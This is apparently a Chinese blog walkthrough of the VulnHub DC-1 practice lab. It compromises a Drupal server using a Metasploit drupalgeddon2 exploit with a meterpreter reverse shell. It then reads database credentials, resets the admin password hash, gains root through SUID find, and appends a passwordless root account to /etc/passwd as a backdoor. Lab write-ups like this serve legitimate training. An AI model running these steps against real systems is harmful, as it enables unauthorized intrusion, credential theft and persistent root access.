打靶系列之 - dc-1

2021-03-15 11:13:45 浏览数 (1)

前言

这篇文章是零度安全2021年的首篇文章,后期将会陆续更新打靶,实战系列的文章。

在这里也感谢大家对零度安全的支持与信任。

前期准备工作

今天要渗透的靶机是DC-1,首先需要将靶机下载下来。

靶机的下载地址是:https://www.vulnhub.com/entry/dc-1-1,292/

当把靶机下载好之后导入到VMware虚拟机当中,然后运行。

打开看到这个画面就说明已经把环境搭建好了,现在我们的目的就是拿下这个服务器。

1. 第一步信息收集

首先我们得知道这个服务器的ip地址是多少

在Kali中通过一下两个命令中任意一个获取到,目的是扫描整个网段可以ping通的IP:

nmap -sP 192.168.202.0/24

netdiscover-r 192.168.202.0/24

这里我用的是 netdiscover -r IP这个命令 ,可以看到192.168.202.125 就是我们的靶机,通过一下命令获取靶机开放的端口。

nmap -A 192.168.202.125

开放了80,111,和22端口

我们在页面访问80端口

看到是个典型的CMS。

2. 指纹识别

通过下面这个命令,可以获取到CMS名称,版本信息,开发语言

whatweb -v http://192.168.202.125/

通过探测识别我们可以看到,系统是Drupal框架。

3. 目录扫描

通过dirb扫描整个文章,看是否可以有利用的信息。

dirb http://192.168.202.125/。

但是并没有扫描出理想文件目录出来。

4. 漏洞利用

既然没有可以利用的点,那直接使用MSF,进行Drupal框架漏洞利用

进入kali 输入 msfconsole 打开MSF

搜索漏洞

search drupal

可以看到一堆可利用的漏洞,这里我们使用drupal_drupalgeddon2漏洞,可以直接getshell

输入

use exploit/unix/webapp/drupal_drupalgeddon2 #选择这个exp模块

这个时候MSF提示没有设置payload,所以需要设置一下payload

输入:set payload php/meterpreter/reverse_tcp

设置成功

既然我们要使用drupal_drupalgeddon2这个漏洞,那我们就得看下这个漏洞如何使用?

输入:

show options

可以看到我们需要输入靶机IP地址就可以。

输入:

set RHOSTS 192.168.202.125

设置好之后

输入exploit 开始进行漏洞攻击

在输入 shell

这个时候我们己经拿到了getshell

首先查看当前用户,输入whoami

发现不是root用户没关系,在找找其他突破口

ls一下,拿到flag1.txt

查看flag1.txt之后,他已经给我们了第二个提示,需要去找drupal配置文件。

获取一个完全交互式shell输入:

python -c 'import pty;pty.spawn ("/bin/bash")'

获取完全交互的shell,方便后面输入命令。

5. 寻找配置文件

找来找去,终于找到了,配置文件

sites/default/settings.php

我可以看到拿到了flag2,并且还拿到了数据库的账号和密码:

'database' => 'drupaldb',

'username' => 'dbuser',

'password' => 'R0ck3t',

'driver' => 'mysql'

首先查看mysql的服务是否启动:

netstat -anptl

看到mysql是启动的,但是无法进行远程连接,既然这样,接下来的思路就是直接在shell中连接数据库,然后修改页面登录密码,进入页面后台。

输入

mysql -udbuser -pR0ck3t #连接数据库

输入

show databases; #查看数据库

use drupaldb; #选择数据库

show tables; #查看当前数据库下的表名

可以看到users表

select * from usersG;

可以看到这个表存储的是账号和密码

修改admin这条数据的密码,我们需要一个加密过的密码。

通过寻找我们发现drupal的加密文件在scripts/password-hash.sh这个位置下。

退出mysql

exit;

输入phpscripts/password-hash.sh 123456

这个时候我们获取了123456 加密后的密码

进入数据库执行

update users set pass='SDlSKHHi7ce.SDNqIi.ADRfU4jht/eXAyXmj8pINH0oqLO4IW9vOM'where uid=1

这个时候我们就修改了密码,现在去后台登录试试

进入后台。

6. 页面操作

在逛页面的时候我们看到了flag3

打开看看写了什么

根据提示告诉我们可以去看下密码文件

进入msf会话中,去看下/etc/passwd文件

看到了fag4,提示我们去/home寻找线索

于是:

cd /home

cd flag4

cat flag4.txt

提示我们需要越权。

7. 越权

输入命令,目的是为了使用find命令查看拥有suid权限的文件

find / -perm -u=s -type f 2>/dev/null

可以看到find也在其中,直接使用find命令进行越权

输入

find/home/flag4 -exec "whoami" ;

这里flag4是目录,你也可以指向任意目录

可以看到find是root权限

输入

find/home/flag4 -exec "/bin/sh" ;

提权成功

进入root目录查看最后一个flag

到这就拿下了整个靶机

为了登录方便执行

echo'admin::0:0:: /root:/bin/bash' >> /etc/passwd

给服务器写入账户为admin的免密登录账号,方便下次登录

8.总结

通过这个靶机有几个点你得掌握

1.使用nmap ,whatweb ,netdiscover 工具进行信息收集,获取到靶机的各个信息。

2.了解drupal,wordpress,joomla,是PHP三大CMS框架,很多基础信息需要通过百度来获取,比如上述的drupal数据库密码生成位置,和数据库配置。

3.掌握MSF的使用方法,通过MSF框架进行对靶机项目的漏洞利用。

4.必须掌握数据库操作,查询库,表,数据,修改,添加等操作。

5.find提权,通过find获取到root的suid,suid具有传递性,从而拿到root权限。

0 人点赞